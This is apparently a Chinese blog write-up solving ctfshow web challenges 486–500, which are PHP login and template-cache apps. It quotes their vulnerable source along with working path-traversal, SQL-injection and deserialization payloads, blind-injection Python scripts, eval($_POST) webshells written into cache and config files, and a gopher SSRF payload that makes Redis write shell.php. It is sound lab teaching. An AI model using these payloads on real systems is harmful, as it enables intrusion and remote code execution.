# 前言

这块内容断断续续做了大概一周才做完,题目还是比较有意思的。有时候会因为一些原因卡住很久,这时候就会感觉很烦躁,依我的性子不该如此,或许是宅太久了也该出去走走

# Web486

image-20230717211543138

容器下发后打开发现是一个登录页

image-20230717211617236

这里在源码部分没有发现有可以利用的带你,但是看见在 url 这里有一个 action 参数,这里测试

image-20230717211724328

发现其实是调用了一个 file_get_contents 函数来打开文件,这里直接读取文件,因为这个写了一个 templates 路径,所以要进行目录穿越

image-20230717211917131

成功拿到 flag

# Web487

image-20230717212027557

容器下发还是这个登录页,尝试上一题的 payload

image-20230718092331611

还能文件读取,但是很显然 flag 不在这里了,这里将 index 等文件读取出来

<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}
if($action=='check'){
	$username=$_GET['username'];
	$password=$_GET['password'];
	$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		header('location:index.php?action=login');
	}
}
if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

这里可以看到当 action 等于 check 的时候会接受 username 和 password 参数,然后执行 sql 语句,这里闭合方式也很明显

?action=check&username=admin') order by 1--+&password=1

image-20230718092919178

这里就已经注入成功了,这里写脚本盲注

import requests
import time
flag = ''
for i in range(1,250):
    time.sleep(0.04)
    low = 32
    high = 128
    mid = (low+high)//2
    while(low<high):
        # payload = "http://f36f977d-5543-4846-b3ee-d869355fc261.challenge.ctf.show/index.php?action=check&username=admin') and ascii(substr((database()),{0},1))>{1}--+&password=1".format(i,mid)
        #payload = "http://f36f977d-5543-4846-b3ee-d869355fc261.challenge.ctf.show/index.php?action=check&username=admin') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&password=1".format(i,mid)
        # payload = "http://f36f977d-5543-4846-b3ee-d869355fc261.challenge.ctf.show/index.php?action=check&username=admin') and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{0},1))>{1}--+&password=1".format(i,mid)
        payload = "http://f36f977d-5543-4846-b3ee-d869355fc261.challenge.ctf.show/index.php?action=check&username=admin') and ascii(substr((select group_concat(flag) from flag),{0},1))>{1}--+&password=1".format(i,mid)
        r = requests.get(payload)#get 方法传数据
        # print(payload)
        time.sleep(0.04)
        if 'admin' in r.text:#二分法
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    if(mid ==32 or mid ==127):
        break
    flag = flag+chr(mid)
    print(flag)

image-20230718100745765

# Web488

还是先尝试上一题的 payload,先读取一下 index 文件

image-20230718102100918

<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}
if($action=='check'){
	$username=$_GET['username'];
	$password=$_GET['password'];
	$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		templateUtil::render('error',array('username'=>$username));
	}
}
if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

这里先 MD5 后再包裹,就不能再使用 sql 注入的方式了,这里接着读 render_class.php 文件

image-20230718103154723

<?php
ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		if(cache::cache_exists($template)){
			echo cache::get_cache($template);
		}else{
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent);
		}
		return $templateContent;
	}
}

image-20230718103010479

<?php
ini_set('display_errors', 'On');
class db{
	
	public static  function getConnection(){
		 $username='root';
		 $password='root';
		 $port='3306';
		 $addr='127.0.0.1';
		 $database='ctfshow';
		return new mysqli($addr,$username,$password,$database);
	}
	public static function select_one($sql){
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_object();
		}
	}
}

image-20230718103219151

<?php
ini_set('display_errors', 'On');
class fileUtil{
	public static function read($filename){
		return file_get_contents($filename);
	}
	public static function write($filename,$content,$append =0){
		if($append){
			file_put_contents($filename, $content,FILE_APPEND);
		}else{
			file_put_contents($filename, $content);
		}
	}
}

这个 write 函数很明显可以尝试利用一下 FILE_APPEND 防止删除文件内容

image-20230718103304723

<?php
ini_set('display_errors', 'On');
class cache{
	public static function create_cache($template,$content){
		if(file_exists('cache/'.md5($template).'.php')){
			return true;
		}else{
			fileUtil::write('cache/'.md5($template).'.php',$content);
		}
	}
	public static function get_cache($template){
		return fileUtil::read('cache/'.md5($template).'.php');
	}
	public static function cache_exists($template){
		return file_exists('cache/'.md5($template).'.php');
	}
}

这里将目录结构建立好,然后看一下代码逻辑

image-20230718111124881

找一下这个方法的调用

image-20230718111153163

这里可以看见是在 cache 中调用了这个方法,当这个传入的 template 文件的 md5 (template) 文件不存在时调用,接着找谁调用了 cache 的 create_cache 方法

image-20230718111356265

这里的条件也是没有这个 md5 (template) 文件

image-20230718111551739

四处调用的机会,index 和 error 都会将 username 的数据传入这里因为不知道用户名密码,只能使用 error。读取一下 error.php 文件内容

image-20230718111844830

满足利用条件了,写一个马尝试一下

?action=check&username=<?php%20eval($_POST[%27a%27]);%20?>&password=1

image-20230718113617095

# Web489

../index
../render/render_class
../render/file_class
../render/cache_class
../render/db_class

还是先尝试读文件

<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}
if($action=='check'){
	$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
	extract($_GET);
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}
if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

render_class.php

<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		if(cache::cache_exists($template)){
			echo cache::get_cache($template);
		}else{
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent);
		}
		return $templateContent;
	}
}

file_class.php

<?php
error_reporting(0);
class fileUtil{
	public static function read($filename){
		return file_get_contents($filename);
	}
	public static function write($filename,$content,$append =0){
		if($append){
			file_put_contents($filename, $content,FILE_APPEND);
		}else{
			file_put_contents($filename, $content);
		}
	}
}

cache_class.php

<?php
class cache{
	public static function create_cache($template,$content){
		if(file_exists('cache/'.md5($template).'.php')){
			return true;
		}else{
			fileUtil::write('cache/'.md5($template).'.php',$content);
		}
	}
	public static function get_cache($template){
		return fileUtil::read('cache/'.md5($template).'.php');
	}
	public static function cache_exists($template){
		return file_exists('cache/'.md5($template).'.php');
	}
}

db_class.php

<?php
class db{
	
	public static  function getConnection(){
		 $username='root';
		 $password='root';
		 $port='3306';
		 $addr='127.0.0.1';
		 $database='ctfshow';
		return new mysqli($addr,$username,$password,$database);
	}
	public static function select_one($sql){
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_object();
		}
	}
}

/templates/index.php

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>CTFshow 新手入门题目 </title>
</head>
<body>
	欢迎你{ {username} }
</body>
</html>

image-20230718114428647

这里多了一个删除功能

image-20230718114508163

这里将 error 的第二个参数删除了,结合上面的删除,很显然这里只能想办法利用这个有第二参数的地方

image-20230718114945496

这里使用了一个 exteact 函数可以实现变量覆盖,这里可以修改 sql 的值,似的 $user 的值为真进入 if 代码块,其他的就和上一题一样了

image-20230718120131387

# Web490

这里还是先读取文件

<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}
if($action=='check'){
	extract($_GET);
	$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$user->username));
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}
if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

这里看到 sql 语句和之前不一样了这个地方 username 存在注入点,看了一下逻辑,和上个题一样,不过这里不用变量覆盖了,构造注入来使得 username 的值写入 index 对应的 cache 中

?action=check&username=1' union select '<?php eval($_POST["a"]); ?>' --+

image-20230718121844732

写马一直失败,登录看一眼才发现是短标签,这里改一下 payload

action=check&username=1' union select 'eval($_POST["a"]);' --+

image-20230718122035633

连接就可以了

image-20230718122139154

# Web491

还是读文件

<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}
if($action=='check'){
	extract($_GET);
	$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index');
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}
if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

这里直接利用文件读取,拿到 flag,注入成功是这样的

image-20230718123312548

脚本贴一下

import requests
import time
flag = ''
for i in range(1,250):
    time.sleep(0.04)
    low = 32
    high = 128
    mid = (low+high)//2
    while(low<high):
        payload = "http://1a92c0ba-d724-444d-a2c4-430a7e61ed59.challenge.ctf.show/index.php?action=check&username=admin' or ascii(substr((select load_file('/flag')),{0},1))>{1}--+&password=1".format(i,mid)
        r = requests.get(payload)#get 方法传数据
        # print(payload)
        # time.sleep(0.04)
        if 'flag' in r.text:#二分法
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    if(mid ==32 or mid ==127):
        break
    flag = flag+chr(mid)
    print(flag)

image-20230718145235805

# Web492

读文件还能用,这里还是先读文件

<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	header('location:index.php?action=login');
	die();	
}
if($action=='check'){
	extract($_GET);
	if(preg_match('/^[A-Za-z0-9]+$/', $username)){
		$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
		$user=db::select_one_array($sql);
	}
	if($user){
		templateUtil::render('index',$user);
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}
if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

这里比起上一题改变不多,这里调用 templateUtil 的 render 函数有第二个参数的是当 User 有值的时候调用,这里简单的变量覆盖就可以了

?action=check&user[username]=<?php eval($_POST["a"]); ?>--+

image-20230718195121050

这里会在前后加上注释,对应代码块

<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		if(cache::cache_exists($template)){
			echo cache::get_cache($template);
		}else{
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', '<!--'.$value.'-->', $templateContent);
		}
		return $templateContent;
	}
}
?action=check&user[username]=--><?php eval($_POST["a"]); ?>--+<--

image-20230718195357162

# Web493

还是先读文件,index.php

<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		$user=unserialize($c);
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}
if($action=='check'){
	extract($_GET);
	if(preg_match('/^[A-Za-z0-9]+$/', $username)){
		$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
		$db=new db();
		$user=$db->select_one($sql);
	}
	if($user){
		setcookie('user',$user);
		templateUtil::render('index');
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}
if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

render_class.php

<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		if(cache::cache_exists($template)){
			echo cache::get_cache($template);
		}else{
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', '<!--'.$value.'-->', $templateContent);
		}
		return $templateContent;
	}
}

file_class.php

<?php
error_reporting(0);
class fileUtil{
	public static function read($filename){
		return file_get_contents($filename);
	}
	public static function write($filename,$content,$append =0){
		if($append){
			file_put_contents($filename, $content,FILE_APPEND);
		}else{
			file_put_contents($filename, $content);
		 }
	}
}

cache_class.php

<?php
class cache{
	public static function create_cache($template,$content){
		if(file_exists('cache/'.md5($template).'.php')){
			return true;
		}else{
			fileUtil::write('cache/'.md5($template).'.php',$content);
		}
	}
	public static function get_cache($template){
		return fileUtil::read('cache/'.md5($template).'.php');
	}
	public static function cache_exists($template){
		return file_exists('cache/'.md5($template).'.php');
	}
}

render/db_class.php

<?php
error_reporting(0);
class db{
	
	public $db;
	public $log;
	public $sql;
	public $username='root';
	public $password='root';
	public $port='3306';
	public $addr='127.0.0.1';
	public $database='ctfshow';
	public function __construct(){
		$this->log=new dbLog();
		$this->db=$this->getConnection();
	}
	public function getConnection(){
		 
		return new mysqli($this->addr,$this->username,$this->password,$this->database);
	}
	public  function select_one($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_object();
		}
	}
	public  function select_one_array($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_assoc();
		}
	}
	public function __destruct(){
		$this->log->log($this->sql);
	}
}
class dbLog{
	public $sql;
	public $content;
	public $log;
	public function __construct(){
		$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

在 index 代码中有一个反序列化函数,可以覆盖 dblog 调用 destruct 中的 file_put_contents 函数来写马

<?php
class dblog{
    public $content='<?php @eval($_POST[a]);?>';
    public $log="1.php";
    public function __destruct(){
        file_put_contents($this->content,$this->log);
    }
}
echo urlencode(serialize(new dblog()));
unlink("1.php");
//O%3A5%3A%22dblog%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A5%3A%221.php%22%3B%7D

image-20230719195253333

调用完成后去连接

image-20230719195235259

# Web494

先读文件

../index
../render/render_class
../render/file_class
../render/cache_class
../render/db_class

index.php

<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		if(preg_match('/\:|\,/', $c)){
			$user=unserialize($c);
		}
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}
if($action=='check'){
	extract($_GET);
	if(!preg_match('/or|and|innodb|sys/i', $username)){
		$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
		$db=new db();
		$user=$db->select_one_array($sql);
	}
	if($user){
		setcookie('user',$user);
		templateUtil::render('index',$user);
	}else{
		templateUtil::render('error');
	}
}
if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}
if($action=='login'){
	templateUtil::render($action);
}else{
	templateUtil::render($action);
}

../render/render_class

<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		if(cache::cache_exists($template)){
			echo cache::get_cache($template);
		}else{
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent);
		}
		return $templateContent;
	}
}

../render/file_class

<?php
error_reporting(0);
class fileUtil{
	public static function read($filename){
		return file_get_contents($filename);
	}
	public static function write($filename,$content,$append =0){
		if($append){
			file_put_contents($filename, $content,FILE_APPEND);
		}else{
			file_put_contents($filename, $content);
		}
	}
}

../render/cache_class

<?php
class cache{
	public static function create_cache($template,$content){
		if(file_exists('cache/'.md5($template).'.html')){
			return true;
		}else{
			fileUtil::write('cache/'.md5($template).'.html',$content);
		}
	}
	public static function get_cache($template){
		return fileUtil::read('cache/'.md5($template).'.html');
	}
	public static function cache_exists($template){
		return file_exists('cache/'.md5($template).'.html');
	}
}

../render/db_class

<?php
error_reporting(0);
class db{
	
	public $db;
	public $log;
	public $sql;
	public $username='root';
	public $password='root';
	public $port='3306';
	public $addr='127.0.0.1';
	public $database='ctfshow';
	public function __construct(){
		$this->log=new dbLog();
		$this->db=$this->getConnection();
	}
	public function getConnection(){
		 
		return new mysqli($this->addr,$this->username,$this->password,$this->database);
	}
	public  function select_one($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_object();
		}
	}
	public  function select_one_array($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_assoc();
		}
	}
	public function __destruct(){
		$this->log->log($this->sql);
	}
}
class dbLog{
	public $sql;
	public $content;
	public $log;
	public function __construct(){
		$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

比起上一题,这里在反序列化内容这里加了一些判断,但是不影响做题流程,还是用上一题的 payload

<?php
class dblog{
    public $content='<?php @eval($_POST[a]);?>';
    public $log="1.php";
    public function __destruct(){
        file_put_contents($this->content,$this->log);
    }
}
echo urlencode(serialize(new dblog()));
unlink("1.php");
//O%3A5%3A%22dblog%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A5%3A%221.php%22%3B%7D

image-20230719200625732

但是这这个 flag 是空的

image-20230719200713133

但是这里有数据库的登录用户密码,所以这里可以使用蚁剑的模块来登录数据库

image-20230719200937411

# Web496

../index
../render/render_class
../render/file_class
../render/cache_class
../render/db_class

../index

<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		if(preg_match('/\:|\,/', $c)){
			#$user=unserialize($c);
		}
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}
switch ($action) {
	case 'check':
		$username=$_POST['username'];
		$password=$_POST['password'];
		if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){
			$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
			$db=new db();
			$user=$db->select_one_array($sql);
		}
		if($user){
			$_SESSION['user']=$user;
			header('location:index.php?action=index');
		}else{
			templateUtil::render('error');
		}
		break;
	case 'clear':
		system('rm -rf cache/*');
		die('cache clear');
		break;
	case 'login':
		templateUtil::render($action);
		break;
	case 'index':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render('index',$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'view':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render($_GET['page'],$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'logout':
		session_destroy();
		header('location:index.php?action=login');
		break;
	default:
		templateUtil::render($action);
		break;
}

../render/render_class

<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.php');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent);
		}
		return $templateContent;
	}
}

../render/file_class

<?php
error_reporting(0);
class fileUtil{
	public static function read($filename){
		return file_get_contents($filename);
	}
	public static function write($filename,$content,$append =0){
		if($append){
			file_put_contents($filename, $content,FILE_APPEND);
		}else{
			file_put_contents($filename, $content);
		}
	}
}

../render/cache_class

<?php
class cache{
	public static function create_cache($template,$content){
		if(file_exists('cache/'.md5($template).'.html')){
			return true;
		}else{
			fileUtil::write('cache/'.md5($template).'.html',$content);
		}
	}
	public static function get_cache($template){
		return fileUtil::read('cache/'.md5($template).'.html');
	}
	public static function cache_exists($template){
		return file_exists('cache/'.md5($template).'.html');
	}
}

../render/db_class

<?php
error_reporting(0);
class db{
	
	public $db;
	public $log;
	public $sql;
	public $username='root';
	public $password='root';
	public $port='3306';
	public $addr='127.0.0.1';
	public $database='ctfshow';
	public function __construct(){
		$this->log=new dbLog();
		$this->db=$this->getConnection();
	}
	public function getConnection(){
		 
		return new mysqli($this->addr,$this->username,$this->password,$this->database);
	}
	public  function select_one($sql){
		$this->sql=$sql;
		$result=$this->db->query($sql);
		if($result){
			return $result->fetch_object();
		}
	}
	public  function select_one_array($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$this->db->query($sql);
		if($result){
			return $result->fetch_assoc();
		}
	}
	public function update_one($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$this->db->query($sql);
		return $this->db->affected_rows;
	}
	public function __destruct(){
		$this->log->log($this->sql);
	}
}
class dbLog{
	public $sql;
	public $content;
	public $log;
	public function __construct(){
		$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

在 index 文件中,反序列化函数被注释了,很显然不在考察这个点,先万能密码登录

username=admin'||1=1#&password=2

image-20230719203018518

一通翻阅前台源码后,找到了这样一段内容

image-20230719203309929

这里可以看到有一个 api/admin_edit.php 文件,这里也通过任意文件读取拿到源码

../api/admin_edit

<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
	$db=new db();
	if($db->update_one($sql)){
		$_SESSION['user']['nickname']=$nickname;
		$ret['msg']='管理员信息修改成功';
	}else{
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这里使用了 extract 函数,直接变量覆盖就行,接下来就是写脚本盲注拿到 flag

import requests
import time
import random
flag = ''
url = 'http://1f1d5df2-bbb9-46c8-a739-70a05a6f25eb.challenge.ctf.show/api/admin_edit.php'
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'application/json, text/javascript, */*; q=0.01',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest',
    'Origin': 'http://1f1d5df2-bbb9-46c8-a739-70a05a6f25eb.challenge.ctf.show',
    'Referer': 'http://1f1d5df2-bbb9-46c8-a739-70a05a6f25eb.challenge.ctf.show/index.php?action=view&page=admin_profile_edit',
    'Connection': 'close',
    'Cookie': 'PHPSESSID=47ctj3k5luhunkvpaqmmoj2ca3; td_cookie=2201095133'
}
for i in range(1,250):
    time.sleep(0.04)
    low = 32
    high = 128
    mid = (low+high)//2
    while(low<high):
        # payload = "user[username]='||ascii(substr((database()),{0},1))>{1}#".format(i,mid)
        # payload = "user[username]='||ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}#".format(i,mid)
        # payload = "user[username]='||ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1))>{1}#".format(i,mid)
        payload = "user[username]='||ascii(substr((select group_concat(flagisherebutyouneverknow118) from flagyoudontknow76),{0},1))>{1}#".format(i,mid)
        data = {
            'user[username]': payload,
            'nickname': random.randint(1,10000)
        }
        r = requests.post(url=url,headers=headers,data=data)
        # print(r.text)
        # print(data)
        time.sleep(0.04)
        if "u529f"  in r.text:#二分法
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    if(mid ==32 or mid ==127):
        break
    flag = flag+chr(mid)
    print(flag)

# Web497

这题就比较快了,先用万能密码登录,然后在修改头像的地方

image-20230719211517584

这里可以直接读取 flag

image-20230719211641946

解码就行

image-20230719211620060

这里贴一下源码

<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.php');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		$templateContent=templateUtil::checkImage($templateContent,$arg);
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent);
		}
		return $templateContent;
	}
	public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{ {img:'.$key.'} }')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
				$templateContent=str_replace('{ {img:'.$key.'} }', $encode, $templateContent);
			}
			
		}
		return $templateContent;
	}
}

../api/admin_edit

<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	$user= $_SESSION['user'];
	if(preg_match('/\'|\"|\\\/', $avatar)){
		$ret['msg']='存在无效字符';
		die(json_encode($ret));
	}
	$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
	$db=new db();
	if($db->update_one($sql)){
		$_SESSION['user']['nickname']=$nickname;
		$_SESSION['user']['avatar']=$avatar;
		$ret['msg']='管理员信息修改成功';
	}else{
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

# Web498

还是上一题利用的点,但是这里离没法直接读取 flag,ssrf 打 redis

image-20230720073256812

将返回信息解码

image-20230720073325240

很显然 6379 端口是开放的

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27zf%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

访问 shell.php 即可

# Web499

image-20230720074314062

okk,冲

image-20230720074618647

这里加了一个跳转链接

image-20230720074514944

这里有一个 api/admin_setting 文件,用之前的文件读取拿到这个文件

<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
	foreach ($_POST as $key => $value) {
		$config[$key]=$value;
	}
	file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
	$ret['msg']='管理员信息修改成功';
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这个 if 中现将原有配置读取出来,然后用 post 传入的值替换,最后在序列化后存入 /../config/settings.php,这里将一句话写在配置文件中即可

image-20230720075109785

这里连接上看一下写入的内容

image-20230720075242680

image-20230720080035295

# Web500

image-20230720080315329

